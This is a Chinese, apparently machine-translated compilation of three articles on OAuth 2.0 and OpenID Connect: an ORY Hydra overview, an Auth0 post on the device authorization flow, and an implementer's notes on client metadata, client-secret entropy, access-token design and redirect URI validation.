Hydra是一个OAuth 2.0和OpenID连接提供商。换句话说,它是OAuth 2.0授权框架和OpenID Connect Core 1.0框架的实现。因此,它发出OAuth 2.0访问、刷新和ID令牌,使第三方能够以用户的名义访问您的api。
灵活的用户管理
ORY Hydra最大的优点之一是,与其他OAuth 2.0实现不同,它实现了OAuth和OpenID连接标准,而无需强制您使用“Hydra用户管理”(登录、注销、配置文件管理、注册)、特定的模板引擎或预定义的前端。
这允许您在您的技术堆栈中实现用户管理并以您自己的方式进行登录,并使用您的用例(基于标记的2FA、SMS 2FA等)所需的身份验证机制。当然,您可以使用现有的解决方案,如authboss或auth0.com。它为您提供了OAuth 2.0和OpenID连接的所有好处,同时对您的业务逻辑和技术堆栈具有最低限度的侵入性。
密钥存储
除了OAuth 2.0功能之外,ORY Hydra还提供了用于加密密钥(例如用于签署JSON Web令牌)的安全存储,并可以管理OAuth 2.0客户机。
认证
ORY Hydra是OpenID Connect认证(挂起),实现OpenID基金会提出的所有要求。特别是,它正确地实现了IETF和OpenID Foundation指定的各种OAuth 2.0和OpenID连接流。
安全第一
ORY Hydra的体系结构和工作流程旨在中和许多常见(OWASP前十)和不常见的攻击载体。学习更多的知识。
高性能
Hydra具有较低的CPU和内存占用、较短的启动时间,并且可以轻松地在许多平台上伸缩,包括Heroku、Cloud Foundry、Docker、谷歌容器引擎等。
开发友好型。
Hydra适用于所有流行的平台,包括Linux、OSX和Windows。它作为一个单独的二进制文件发布,没有任何附加的依赖性。为了进一步简化,可以使用Docker映像。
Hydra还提供了一个开发人员友好的CLI。
限制
九头蛇也有一些限制:
- Hydra不管理用户帐户,即用户注册、密码重置、用户登录、发送确认邮件等。在Hydra的体系结构中,身份提供者负责此工作。
- Hydra不支持OAuth 2.0资源所有者密码凭据流,因为它是遗留的、不鼓励使用的和不安全的。
九头蛇适合你吗?
OAuth 2.0可以在许多环境中用于各种目的。这个列表可以帮助你决定OAuth 2.0和Hydra是否适合用例:
- 允许第三方解决方案访问您的api:这就是OAuth2提供程序所做的,Hydra是一个完美的选择。
- 像谷歌、Facebook或Microsoft这样的身份提供者:OpenID连接,因此Hydra是一个完美的选择。
- 让您的浏览器、移动或可穿戴应用程序访问您的api:运行OAuth2提供程序可以很好地实现这一点。您不必在设备上存储密码,并且可以随时撤销访问令牌。GMail登录是这样工作的。
- 您希望限制后端服务可以相互读取的信息类型。例如,评论服务应该只允许获取用户配置文件更新,但不应该能够读取用户密码。OAuth 2.0可能对您有意义。
原文:https://www.ory.sh/docs/hydra/
本文:
讨论:请加入知识星球【首席架构师圈】或者飞聊小组【首席架构师智库】
- 172 次浏览
【应用安全】OAuth 2.0设备流程,没有麻烦的身份验证 - 正如在电视上看到的那样
了解OAuth 2.0设备流如何为有限输入设备提供流畅的身份验证和授权。
厌倦了与遥控器和屏幕电视键盘摔跤,以在智能电视上输入凭据?你已经处理了太多次,你可以打赌你的客户必须这样做。如果您可以通过手机上的几个水龙头帮助他们登录,该怎么办?
使用电视遥控器的人的图象输入凭据
嗨,来自Auth0的Dan为您带来OAuth 2.0设备流程:一种快速,简便,安全的方式来登录智能电视和其他输入受限设备上的应用程序。没有键盘?没有浏览器?没问题!
普通登录可能很乏味且错误很重。 OAuth 2.0设备流程轻巧,可在几秒钟内对您进行身份验证,不仅适用于电视,还适用于游戏机,CLI,打印机等等!
Auth0为开发人员提供了完全兼容的OAuth 2.0设备流程实现,可以轻松应对这一用户体验难题。让我们更多地了解哪些输入受限设备,此授权授权如何工作以及Auth0如何提供帮助。
什么是互联网连接,输入约束设备?
您是否有连接互联网的设备(1)没有浏览器或(2)提供不切实际的输入文本方式?
如果你回答是,那么你有一个输入受限的设备!你想到了什么类型的设备?我在想...
- 多功能一体机
- 健身追踪器
- 流媒体设备
- 牙刷
- 游戏主机
- 冰箱
- 泰迪熊
- 车载信息娱乐系统
- 智能电视
- 真的,任何在它面前都有“聪明”这个词的东西
物联网(IoT)的狂热使很多设备上线。无论是现在还是将来,在这些设备上运行的软件都可以与您的服务API进行通信,以获取为客户提供跨设备和平台的丰富用户体验所需的数据。但是,如果设备不提供授权外部服务的便捷方式,则该用户体验可能不那么丰富或安全。
“在输入受限的设备上授权是一项挑战。但是什么是输入受限的设备呢?在这篇博文中了解更多信息!”
作为竞争企业,您不希望通过无法提供无浏览器身份验证来限制可以使用您的服务的设备。但是,如果设备提供浏览器或用户界面,您不希望客户使用电视遥控器的箭头输入凭据,以从巨大的屏幕键盘中选择按键。例如,当他们慢慢输入屏幕时,有人会记录他们的凭据。
此外,您还需要确保未在您无法控制的系统上输入用户凭据,并且可以将其存储以供将来访问,例如有时利用专有系统的智能显示器或访问API的第三方客户端。
您所需要的是一种授权第三方应用程序的方法,这些应用程序可以在各种设备上对您的API进行受控访问。 OAuth 2.0设备流程可以帮助您实现这一目标!即使在没有浏览器的设备上,您也可以利用标准委派授权协议的安全性和用户体验优势。
要了解如何使用设备流,最好使用视频流应用程序作为示例在游戏中看到它。
OAuth 2.0设备流程在行动中
假设您想在电视上观看AuthU TV,这是一个虚构的技术视频平台。 首先将AuthU TV应用程序下载到智能电视上。 当您第一次打开应用程序时,您将受到登录屏幕的欢迎。
为了解决问题,您将被要求访问其他设备(如智能手机或笔记本电脑)上的URL,输入一个简短的代码,然后登录到您的AuthU帐户进行身份验证。
完成此过程后,电视上的软件即可访问您的AuthU帐户,并允许您使用遥控器导航AuthU内容 - 而不是输入凭据。
在较高级别,此过程与YouTube重定向到accounts.google.com以处理用户登录的方式非常相似。使用OAuth 2.0设备流,您可以在集中登录页面上管理身份验证过程,使用辅助设备可以更快,更安全地输入凭据。通过将身份验证从设备移到浏览器中,您可以利用更高级的身份和安全功能,例如MFA,SSO和社交登录。
但谈话很便宜:让我们看看设备流程在行动!我们Auth0的工程师创建了一个交互式演示,可让您直接从浏览器模拟AuthU智能电视应用的授权。
首先访问Device Flow Playground。在那里,您可以使用我们的默认演示设置尝试游乐场,也可以使用Auth0帐户设置进行配置,以尝试使用自己的应用程序。
需要Auth0帐户?立即免费入门。在使用Auth0的免费试用版所提供的一切时,你会说“哇!”!
您还可以选择所需的范围。完成后,点击“开始使用”。
接下来,要从模拟AuthU TV应用程序流式传输内容,系统会提示您通过单击“授权”按钮来授权应用程序。
现在,系统会提示您通过导航到激活URL acme-demo.auth0.com/activate,使用其他设备并输入智能电视上显示的代码来授权设备。 您还可以扫描QR码,这将自动输入用户代码。 电视应用程序将等待您在辅助设备上完成此过程,这将触发可用于访问AuthU电视服务的授权响应。
访问提供的链接,输入一次性代码,然后单击“继续”。 您可以使用其他浏览器标签或智能手机移动浏览器执行此操作。
确认网站上显示的代码与智能电视上显示的代码相符,然后单击“继续”。
接下来,注册一个帐户或使用现有帐户登录。
网站上将显示一条消息,确认设备现已连接。
回到智能电视上,AuthU应用程序已准备好开始流媒体内容。 电视应用程序有权获取有关您的其他信息以自定义UI。
这是对OAuth 2.0设备流程的高级技术概述。 让我们来看看如何使用Auth0作为您的身份平台促进此过程。
使用Auth0轻松实现OAuth 2.0设备流程
当您的输入受限设备需要从API获取用户数据时,会发生以下过程:
- 如果设备应用程序尚未获得授权,则设备应用程序将调用Auth0授权服务器以检索设备代码。
- Auth0使用URL和用户代码进行响应。您的设备应用要求用户访问辅助设备(如笔记本电脑或智能手机)上的特定网址并提供激活码。
- 您的设备应用程序开始轮询您的Auth0授权服务器以获取访问令牌和刷新令牌。
- 用户使用您已配置的身份验证方法之一在辅助设备上使用Auth0进行身份验证。 Auth0是一个身份中心,支持使用各种协议的许多身份提供商(如OpenID Connect,SAML,WS-Federation等)。
- 身份验证完成后,Auth0会使用访问令牌和刷新令牌响应您的设备应用,这样您就可以刷新访问令牌,而无需再次请求用户的许可。
- 访问令牌可用于调用API并检索请求的数据。
“通过访问令牌和刷新令牌,您可以快速进行身份验证并使其成为最后一次!了解有关令牌如何在OAuth 2.0设备流中工作的更多信息。”
概括
今天,您了解了互联网连接,输入受限设备,这些设备给开发人员和客户带来的挑战,以及Auth0和OAuth 2.0如何让您通过实施设备流来应对这些挑战。
OAuth 2.0设备流程的最佳部分是它允许您将现有的身份验证解决方案扩展到智能设备平台。此授权授权仅允许您的客户对通过另一个设备运行的应用程序进行身份验证和授权。
您可能对您或您的开发团队如何通过代码实现此功能感到好奇。我们很快就会为您提供有关设备流程的详细教程。敬请关注!在此期间,请查看以下资源以获取更多信息:
- 介绍设备流程
- Auth0设备授权流程文档
- 使用设备授权流程调用API
- OAuth 2.0设备授权授权,草案15
“OAuth 2.0设备流程专为在互联网连接的设备上执行的应用程序而设计,这些设备没有浏览器或受输入限制。它使最终用户能够授权设备应用程序访问服务API。”
原文:https://auth0.com/blog/oauth-device-flow-no-hassle-authentication-as-seen-on-tv/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 127 次浏览
【应用安全】OAuth和OpenID Connect的全面实现者谈论调查结果
1.简介
在这篇文章中,从头开始实施OAuth 2.0和OpenID Connect服务器的开发人员(我)讨论了调查结果。基本上,实施的考虑点是在讨论中写出来的。因此,对于那些正在寻找“如何及时设置OAuth 2.0和OpenID Connect服务器”等信息的人来说,这不是一个文档。如果您正在寻找此类信息,请访问GitHub上的java-oauth-server和java-resource-server。使用这些,您可以在10分钟内启动授权服务器和资源服务器,发出访问令牌并使用访问令牌调用Web API,而无需设置数据库服务器。
偏见
我是Authlete,Inc。的联合创始人,该公司是一家在云端提供OAuth 2.0和OpenID Connect实施的公司,因此本文档可能会受到这种偏见的影响。因此,请在脑海中阅读本文档。但是,基本上,我将从纯工程师的角度来写这篇文章。
2.OAuth是否必要?
“我们希望在我们的公司网站上这样做。我们应该实施OAuth吗?“ - 这经常被问到。从本质上讲,这个问题是询问OAuth是什么。
我经常用来解释OAuth的一句话答案如下。
OAuth 2.0是一种框架,其中服务的用户可以允许第三方应用程序访问他/她在服务中托管的数据,而无需向应用程序透露他/她的凭据。
重要的一点是“不向第三方应用程序透露凭据”。 OAuth就是为此而存在的。一旦理解了这一点,您可以通过检查是否满足以下条件来判断您是否应该为公司的服务准备OAuth服务器。
- 您的服务管理用户的数据。
- 您希望第三方为您的服务用户开发应用程序。
- 您不希望向第三方开发的应用程序透露用户凭据。
即使上述条件不满足且贵公司服务的应用程序仅为自制服务,如果您可能希望第三方在将来开发应用程序和/或建议应用程序,建议您实施OAuth服务器如果您想遵循Web API开发的最佳实践。
但是,混淆可能无法解决。当您想要让用户使用他们的外部服务帐户(如Facebook和Twitter)登录您的网站时。由于“OAuth身份验证”这一术语经常在此上下文中使用,因此您可能认为必须为您的服务实施OAuth。但是,在这种情况下,由于您的服务是使用外部服务实施的OAuth的客户端,因此您的服务本身不必实施OAuth。确切地说,您的服务必须编写代码以使用其他公司的OAuth。换句话说,从外部服务的角度来看,您的服务必须表现为OAuth客户端。但是,在此用例中,您的服务不必像OAuth服务器那样运行。也就是说,您不必实现OAuth服务器。
3.认证和授权
我解释了让人们感到困惑的术语 - “OAuth身份验证”。
每个解释都说“OAuth是授权规范,而不是身份验证规范。”这是因为RFC 6749(OAuth 2.0授权框架)明确指出认证“超出了本规范的范围。”以下段落摘自“ 3.1。 RFC 6749中的“授权端点”。
授权端点用于与资源所有者交互并获得授权授权。授权服务器必须首先验证资源所有者的身份。授权服务器验证资源所有者的方式(例如,用户名和密码登录,会话cookie)超出了本规范的范围。
尽管如此,“OAuth身份验证”一词泛滥并使人们感到困惑。这种混淆不仅在商业方面,而且在工程师中也是如此。例如,“OAuth授权与身份验证”之类的问题有时会发布到Stack Overflow(我对问题的回答是这个)。
由术语,认证和授权(在OAuth的上下文中)处理的信息可以描述如下。
- 身份验证 - 谁是谁。
- 授权 - 谁授予谁谁的权限。
身份验证是一个简单的概念换句话说,它是对身份的确认。在网站上识别人的最流行方式是请求该人提供一对ID和密码,但还有其他方式,如使用指纹或虹膜的生物识别身份验证,一次性密码,随机数字表等。无论如何,无论使用何种方式,身份验证都是识别身份的过程。使用开发人员的话,可以表示为“身份验证是识别用户唯一标识符的过程”。
另一方面,授权是复杂的,因为涉及三个元素,即“谁”,“什么权限”和“对谁”。另外,令人困惑的是,在这三个要素中,识别“谁”是认证的过程。换句话说,授权过程包括认证过程作为一个部分的事实使事情变得混乱。
如果三个元素应该被开发人员使用的单词替换,“who”可以替换为“user”,“who”替换为“client application”。因此,OAuth上下文中的授权可以说是用户向客户端应用程序授予权限的过程。
下图描绘了到目前为止所解释的概念。
此图说明了授权页面(用户授予客户端应用程序权限的页面)中的哪些部分用于身份验证和授权。身份验证和授权之间的区别很明显。
现在,是时候谈论“OAuth身份验证”了。
因为授权过程包括认证过程作为一部分,所以授权意味着认证。因此,有些人开始使用OAuth进行身份验证。这是“OAuth身份验证”,并且由于“管理用户凭据的任务可以委托给外部服务”以及“新用户开始使用该服务的障碍因为用户而变得更低”等优点而迅速占据主导地位注册过程可以省略。“
OpenID的人对这种情况抱有怨恨。 - 抱歉,我不知道他们是否真的有这种感觉,但至少我可以想象他们认为OAuth身份验证远远超出他们之前定义的规范级别,如OpenID 2.0和SAML。然而,不可否认的是,他们的规范并没有占上风,世界各地的开发人员都选择了OAuth身份验证的简易性。因此,他们在OAuth之上定义了一个新的身份验证规范OpenID Connect。 OpenID Connect常见问题解答将关系描述为如下所示的等式。
(Identity, Authentication) + OAuth 2.0 = OpenID Connect
由于这一点,OpenID Connect的身份验证可以在OAuth授权过程中同时执行。
由于业界的主要参与者一直致力于规范创建和主动实施(FAQ),OpenID Connect肯定会占上风。因此,OmniAuth等OAuth身份验证库将逐渐完成其角色。
但是,人们肯定会变得更加困惑,因为用于身份验证的OpenID Connect建立在用于授权的OAuth之上。很难解释,特别是在我的情况下,因为Authlete专注于授权,虽然它支持OpenID Connect,但它不会对身份验证做任何事情。在开始向客户解释产品本身之前,我总是要解释身份验证和授权之间的区别。
关于OAuth身份验证的问题,请阅读John Bradley先生的文章“OAuth for Authentication的问题”。在文章中他说:“这是一个安全漏洞,你可以开车穿过。”
“再说OAuth是一种认证标准。”Nat Sakimura先生和John Bradley先生。 (来自https://twitter.com/ve7jtb/status/740650395735871488)
4. OAuth 2.0和OpenID Connect之间的关系
然而,到目前为止,所有内容只是这篇文章的序言。开发人员的技术内容从这里开始。第一个主题是OAuth 2.0和OpenID Connect之间的关系。
在我完成RFC 6749(OAuth 2.0授权框架)的实施之后,我注意到了OpenID Connect的存在。当我收集有关OpenID Connect的信息时,我认为我应该实现该功能,因此请阅读OpenID Connect Core 1.0和其他相关规范。在阅读之后,我得出的结论是“所有人都应该从头开始重写”。
OpenID Connect网站称“OpenID Connect 1.0是一个基于OAuth 2.0协议的简单身份层。”这给人的印象是OpenID Connect可以在现有的OAuth 2.0实现之上轻松无缝地实现。然而,事实却完全不同。恕我直言,OpenID Connect实际上是OAuth 3.0。
有许多与OpenID Connect相关的规范,它们令人费解,难以破译它们。在我能够掌握整个画面之前,我几乎疯了,不得不读了三遍。与OpenID Connect规范相比,RFC 6749可以说很容易。
5.响应类型
特别是,与现有实现冲突的是处理请求参数response_type的方法。可以肯定的是,RFC 6749声明请求参数可能需要多个值,但这是将来的可能性。如果我们直接读取RFC 6749,则response_type是代码或令牌。几乎不可能想象这两个是同时设置的。这是因为该参数用于确定处理来自客户端应用程序的请求的流程。具体而言,当response_type的值是代码时使用授权代码流,并且当值是token时使用隐式流。谁能想象这些流量是混合的?即使可以想象它,我们应该如何解决流量之间存在的冲突?例如,授权代码流要求将响应参数嵌入到重定向URI(4.1.2。授权响应)的查询部分中,而隐式流要求将响应参数嵌入到片段部分中(4.2.2。访问令牌)响应),并不能同时满足这些要求。
但是,OpenID Connect已将id_token添加为response_type的新值,并明确允许将code,token和id_token的任意组合作为response_type的值。此外,也没有添加。详情见“3。身份验证“OpenID Connect Core 1.0和OAuth 2.0多响应类型编码实践”。
它需要进行重大更改才能修改在假定选择或选择的情况下编写的现有代码,以便它可以处理可能值和混合流的任意组合。因此,如果将来有可能支持OpenID Connect,OAuth库的实现者应该从头开始用OpenID Connect编写它。换句话说,现有的OAuth库无法在不进行重大修改的情况下支持OpenID Connect。
例如,Spring Security OAuth。此库尚未支持OpenID Connect(截至2016年6月)。对于要支持OpenID Connect的库,首先,请求参数response_type必须能够采用除代码和令牌之外的其他值。对它的请求被列为“问题#619处理其他response_types”,但它尚未得到解决,并且该主题的最后一条评论是“任何评论都非常受欢迎,因为事实证明(正如我预测的那样)a大型重构练习。“我阅读了一些相关的源文件,发现支持OpenID Connect需要进行大的修改才是真的。除非一些公司在财务上支持该项目,否则我担心该项目需要很长时间才能支持OpenID Connect。
顺便说一句,我也想提到Apache Oltu。该项目声称它支持OpenID Connect,但我的猜测是初始实现仅支持OAuth 2.0,并且在稍后阶段添加了OpenID Connect支持。我认为这样的原因是OAuth 2.0(org.apache.oltu.oauth2)的包和OpenID Connect(org.apache.oltu.openidconnect)的包是隔离的。但是,这种方法会破坏架构。例如,OpenIdConnectResponse类是OAuthAccessTokenResponse的后代是不合适的,因为包含ID令牌的响应不一定包含访问令牌。其他示例是存在名为OAuthClientRequest.AuthenticationRequestBuilder的类(由于某些原因而不是“授权”但是“身份验证”)以及存在GitHub特定的类GitHubTokenResponse。 Apache Oltu的架构至少给我带来了问题。我不知道有关该项目的细节,但在我个人看来,它注定要缩小。
6.客户端应用程序的元数据
正如在RFC 6749的客户端注册中明确写出的那样,客户端应用程序必须在发出授权请求之前提前注册到目标授权服务器。因此,在典型情况下,授权服务器的实现者定义数据库表以存储关于客户端应用程序的信息。
要确定表应该具有哪些列,实现者通过阅读规范来列出项目。例如,阅读RFC 6749将使您意识到至少需要以下项目。
- Client ID
- Client Secret
- Client Type
- Redirect URIs
除此之外,实现者可以添加更多属性。例如,“应用程序名称”。
即使您通过RFC 6749进行搜索,客户端应用程序的属性也没有那么多,因此存储客户端应用程序属性的数据库表的列数不会变大 - 这样的好日子已经因为出现了OpenID Connect。客户端应用程序应具有的许多属性列在2. OpenID Connect动态客户端注册1.0的客户端元数据中。以下是清单。
- redirect_uris - 客户端使用的重定向URI值。
- response_types - 客户端声明它将自己限制为使用的response_type值。
- grant_types - 授权客户端声明它将限制自己使用的类型。
- application_type - 应用程序的种类。
- 联系人 - 负责此客户的人员的电子邮件地址。
- client_name - 要呈现给最终用户的客户端的名称。
- logo_uri - 引用客户端应用程序徽标的URL。
- client_uri - 客户端主页的URL。
- policy_uri-依赖方客户端向最终用户提供的URL,以了解如何使用配置文件数据。
- tos_uri-依赖方客户提供给最终用户的URL,以了解依赖方的服务条款。
- jwks_uri-客户端的JSON Web密钥集文档的URL。
- jwks - 客户端的JSON Web Key Set文档,按值传递。
- sector_identifier_uri - 使用https方案的URL,用于由OP计算伪名标识符。
- subject_type - 要求对此客户的响应的subject_type。
- id_token_signed_response_alg - 签署发给此客户端的ID令牌所需的JWS alg算法。
- id_token_encrypted_response_alg - 加密发给此客户端的ID令牌所需的JWE alg算法。
- id_token_encrypted_response_enc-加密发给该客户端的ID令牌所需的JWE enc算法。
- userinfo_signed_response_alg-签署UserInfo响应所需的JWS alg算法。
- userinfo_encrypted_response_alg - 加密UserInfo响应所需的JWE alg算法。
- userinfo_encrypted_response_enc - 加密UserInfo响应所需的JWE enc算法。
- request_object_signing_response_alg - 必须用于签署发送给OP的请求对象的JWS alg算法。
- request_object_encryption_alg - RP声明它可以用于加密发送给OP的请求对象的JWE alg算法。
- request_object_encryption_enc - JWE enc算法,RP声明它可以用于加密发送给OP的请求对象。
- token_endpoint_auth_method-请求端点的请求客户端身份验证方法。
- token_endpoint_auth_signing_alg - 必须用于对JWT进行签名的JWS alg算法,该JWT用于在令牌端点对private_key_jwt和client_secret_jwt身份验证方法的客户端进行身份验证。
- default_max_age - 默认最大认证年龄。
- require_auth_time - 布尔值,指定是否需要ID令牌中的auth_time声明。
- default_acr_values - 默认请求的身份验证上下文类参考值。
- initiate_login_uri - 使用https方案的URI,第三方可以使用该方案来启动RP的登录。
- request_uris - 由RP预先注册以在OP上使用的request_uri值。
因此,客户端应用程序的数据库表应该能够存储这些信息。此外,应该注意的是,允许本地化某些属性(例如client_name,tos_uri,policy_uri,logo_uri和client_uri)(2.1。元数据语言和脚本)。需要额外考虑数据库表设计来存储本地化属性值。
以下小节是我对客户应用程序属性的个人意见。
6.1 客户类型
我担心定义规范是一种错误2. OpenID Connect动态客户端注册1.0的客户端元数据不包含“客户端类型”。我认为这样做的原因是,当我们实现授权服务器时,必须考虑两种客户端类型之间的区别,“机密”和“公共”(在2.1。客户端类型的RFC 6749中定义)。事实上,“客户端类型”被列为要在2.注册RFC 6749的客户端注册的客户端属性的示例如下。
...注册可以依赖于其他方式来建立信任并获得所需的客户端属性(例如,重定向URI,客户端类型)。
如果这不是错误,则必须就动态客户端注册注册的客户端应用程序的客户端类型达成共识。但是,我无法在相关规范中找到此类信息。
无论如何,我认为在为客户端应用程序定义数据库表时,应该存在客户端类型的列。
您可以在问题991中找到关于此的一些讨论。
6.2。申请类型
根据规范,application_type是可选属性。 application_type的预定义值是native和web。如果省略,则将web用作默认值。
如果省略时使用默认值,则自然结果是客户端应用程序的应用程序类型必须是本机和Web。因此,您可能希望在application_type的列中添加NOT NULL。但是,Authlete的实现不敢添加NOT NULL并允许NULL。
原因是我不确定应用于每个OAuth 2.0客户端的OpenID Connect动态客户端注册1.0中定义的application_type所施加的重定向URI值的限制。
使用OAuth隐式授权类型的Web客户端必须仅使用https方案注册URL作为redirect_uris;他们不能使用localhost作为主机名。本机客户端必须仅使用自定义URI方案或URL使用http:scheme注册redirect_uris,并使用localhost作为主机名。
2年前,我发布了一个问题“应用程序类型(OpenID Connect)是否与客户端类型(OAuth 2.0)对应?”到Stack Overflow,但我无法得到任何答案。所以我自己调查和回答。如果有兴趣请看。
6.3。客户秘密
客户秘密的长度应该是多长时间?
例如,“OpenAM管理指南”使用密码作为客户端机密值的示例。下面是12.4.1的截图。将OpenAM配置为授权服务器和客户端。
似乎OpenAM允许用户使用短字符串作为客户端密钥。
另一方面,在Authlete的实现中,客户端机密自动生成并变得像下面那样长。
GBAyfVL7YWtP6gudLIjbRZV_N0dW4f3xETiIxqtokEAZ6FAsBtgyIq0MpU1uQ7J08xOTO2zwP0OuO3pMVAUTid
这个长度的原因是我想支持512位的对称签名和加密算法。例如,我想支持HS512作为JWS的签名算法。因为客户机密码必须具有512位或更多的熵以支持HS512,所以上述示例的长度是86,这是使用base64url编码512位数据的结果。
关于对称签名和加密算法的熵,OpenID Connect Core 1.0中的16.19对称密钥熵如下所述。
在10.1节和10.2节中,密钥是从client_secret值派生的。因此,当与对称签名或加密操作一起使用时,client_secret值必须包含足够的熵以生成加密强密钥。此外,client_secret值还必须至少包含所使用的特定算法的MAC密钥所需的最小八位字节数。因此,例如,对于HS256,client_secret值必须包含至少32个八位字节(并且几乎可以肯定应该包含更多,因为client_secret值可能使用受限制的字母表)。
并且,3.1。 RFC 7518(JSON Web算法)中的JWS的“alg”(算法)头部参数值指出必须支持HS256(使用SHA-256的HMAC)作为JWS的签名算法。作为合乎逻辑的结果,任何声称符合OpenID Connect的实现都需要生成具有256位或更多熵的客户机密钥。
6.4。签名算法
id_token_signed_response_alg列在“2。 “OpenID Connect动态客户端注册1.0的客户端元数据”。它表示客户端应用程序要求授权服务器用作ID令牌的签名算法的算法。如上所述,有效值列在RFC 7518中,应注意不允许任何值。如果在注册时省略id_token_signed_response_alg的值,则使用RS256。
userinfo_signed_response_alg也是客户端应用程序要求授权服务器使用的签名算法。该算法用于签署从UserI返回的信息
这是偏离主题的,但是为nv-websocket-client(日语信息)创建了一个问题,这是一个用于Java的WebSocket客户端库我在GitHub上向公众开放。问题是一个功能改进的提议,表明当开发人员同时调用setSSLContext()方法和setSSLSocketFactory()方法时,库有一个警告机制。之所以提出这个提案,是因为记者对这两种方法的不正当行为感到不安。我的回答是它在JavaDoc中明确写出了当调用这两个方法时哪个设置优先,并且这样的插入检查会使WebSocketFactory类难以使用。然后,反应是“在调用这两种方法之前,先没有详细阅读文档,这是我的错。但是,您认为有多少其他开发人员会在犯同样错误之前先详细阅读文档?“
哦,如果开发人员由于他/她没有阅读文件的原因而浪费时间在自制错误上,这只是一个当之无愧的惩罚......
帮助那些不阅读文件的人的试验将是无止境的。即使库阻止了alg = none的签名,这些工程师也会毫不犹豫地将私钥包含在通过授权服务器的JWK Set端点发布的JWK集中。为什么?你认为那些不读文件的人可以注意到JWKSet类的toPublicJWKSet()方法的存在(在Nimbus JOSE + JWT库中)并理解方法的含义吗?可能,他们天真地说,“是的,我可以创建一个JWKSet类的实例。我们发布吧!我已经完成了JWK Set端点的实现!“
不参考RFC等主要来源的工程师无法发现他们找到的答案中的错误,并毫无疑问地相信答案。但是,工程师必须避免阅读RFC以成为真正的工程师。
要成为真正的工程师,请不要避免阅读RFC。只搜索技术博客和Stack Overflow寻找答案永远不会把你带到正确的地方。
6.5。 Client Application Developer
一些开源授权服务器提供了一种机制,可以动态注册客户端应用程序,如HTML表单(ForgeRock的OpenAM)和Web API(MITRE的MITREid Connect)。但是,似乎只有授权服务器的管理员才能注册客户端应用程序。但是,理想的方法是创建类似于Twitter的应用程序管理控制台,让开发人员登录,并提供一个环境,让每个开发人员都可以注册和管理他/她自己的客户端应用程序。为此,客户端应用程序的数据库表应该有一个包含开发人员唯一标识符的列。
它经常被遗忘,因为实现授权服务器本身很麻烦,但是还需要提供管理客户端应用程序的机制,以便向公众开放Web API。如果Web API的预期用户仅限于封闭组,则授权服务器的管理员可以在每次请求他/她时注册客户端应用程序。事实上,有一家公司的管理员为每个注册请求手动键入SQL语句。但是,如果要向公众开放Web API,此类操作将无法运行,您将意识到必须为客户端应用程序提供合适的管理控制台。如果您成功确保了开发授权服务器和Web API的预算,但忘记了为客户端应用程序确保管理控制台的预算,则会导致“已实现Web API但无法向公众开放”。
作为此类管理控制台的示例,Authlete为上述用例提供了开发者控制台。 Authlete本身不管理开发人员帐户,但通过名为“开发人员身份验证回调”的机制,其帐户由Authlete客户管理的开发人员可以使用开发人员控制台。因此,Authlete客户不必为客户端应用程序开发管理控制台。
7.访问令牌
7.1。访问令牌表示
如何表示访问令牌?有两种主要方式。
作为无意义的随机字符串。与访问令牌相关联的信息存储在授权服务器后面的数据库表中。
作为一个自包含的字符串,它是通过base64url或类似的东西对访问令牌信息进行编码的结果。
在这些方式之间进行选择将导致后续差异,如下表所述。
如果访问令牌是随机字符串,则每次都需要查询授权服务器以获取有关访问令牌的信息。相反,如果访问令牌本身包含信息,则无需查询授权服务器。这使得自包含样式听起来更好,但是因为必须对授权服务器进行查询以检查访问令牌是否已被撤销,即使采用自包含样式,在任何情况下,网络通信也是如此。每次客户端应用程序呈现访问令牌时都需要。
自包含样式中的繁琐之处在于,每次请求访问令牌撤销时,我们必须添加表示“已撤销”的记录,并且必须保留此类记录,直到访问令牌到期为止。否则,如果删除了记录,则撤销的访问令牌将被复活并再次生效(如果尚未达到原始到期日期)。
相反,在随机字符串样式的情况下,可以简单地通过删除访问令牌记录本身来实现访问令牌撤销。因此,由于任何意外,撤销访问令牌无法复活。此外,不会发生在独立风格中观察到的负面影响“撤销增加记录”。
要启用访问令牌吊销,即使在自包含样式的情况下,也必须为访问令牌分配唯一标识符。否则,无法分辨哪个访问令牌已被撤销。换句话说,授权服务器采用自包含样式但不为访问令牌分配唯一标识符是授权服务器,它不能撤销访问令牌。它可能是实现策略之一,但是这样的授权服务器不应该发出长期访问令牌,也不应该发出刷新令牌。
“无法撤销访问令牌的授权服务器?!”,您可能想知道。但是,这种授权确实存在。某个全球大型系统集成商收购了一家公司,并正在使用被收购公司的产品开发授权服务器,但在后期阶段,系统集成商及其客户注意到授权服务器无法撤销访问令牌。当我听到这个故事时,我猜想授权服务器会发出没有唯一标识符的自包含样式的访问令牌。
自包含的样式看起来很好,因为有一些优点,例如“无需查询授权服务器来提取访问令牌的信息”和“无需在授权服务器端维护访问令牌记录”,但是当你考虑访问令牌撤销,有讨论的余地。
7.2。访问令牌删除
为防止数据库无限增长,应定期从数据库中删除过期的访问令牌。
请求授权服务器不必要地发出访问令牌的客户端应用程序是麻烦制造者。虽然他们已经有一个尚未过期的访问令牌,但他们会重复丢弃这样一个有效的访问令牌并请求新的令牌。如果发生这种情况,则会在数据库中累积未使用但无法删除的访问令牌(因为它们尚未过期)。
要防止出现这种情况,请将访问令牌最后一次使用的时间戳保存到数据库中,以及访问令牌到期的时间戳,并定期运行程序,以便长时间删除未使用的访问令牌。当然,它取决于服务的特性是否可以在未过期时删除未使用的访问令牌。
在此之前,我遇到了一位工程师,他在某个大公司的OAuth实施项目中工作,而他却属于该公司。他告诉我,系统的构建没有考虑访问令牌的删除,因此系统的数据库可能拥有数以亿计的访问令牌。吓人,可怕。当开发生成某个东西的系统时,应该同时考虑删除生成的东西的时间。
8.重定向URI
8.1。重定向URI验证
2014年5月,获博士学位。新加坡的学生发表了一篇文章,它引起了人们对“OAuth中的漏洞?”的讨论,这是一个关于所谓的Covert Redirect的问题。那些正确理解OAuth 2.0的人很快意识到这不是由于规范中的漏洞而是由于不正确的实现。然而,该主题让很多人感到不安,OAuth领域的专家无法帮助编写解释性文档。约翰布拉德利先生的“隐蔽重定向及其对OAuth和OpenID Connect的真正影响”就是其中一个文件。
如果未正确处理重定向URI,则会出现安全问题。相关规范中描述了如何处理重定向URI,但很难正确实现它,因为有许多事情要关注,例如,(a)RFC 6749的要求和OpenID Connect的要求是不同的(b) )必须考虑客户端应用程序的application_type属性的值。
如何正确处理重定向URI的部分取决于实现者如何仔细和详尽地阅读相关规范。因此,读取部件的实现代码可以很好地猜测整个授权服务器的实现质量。所以,每个人都尽最大努力实施它!
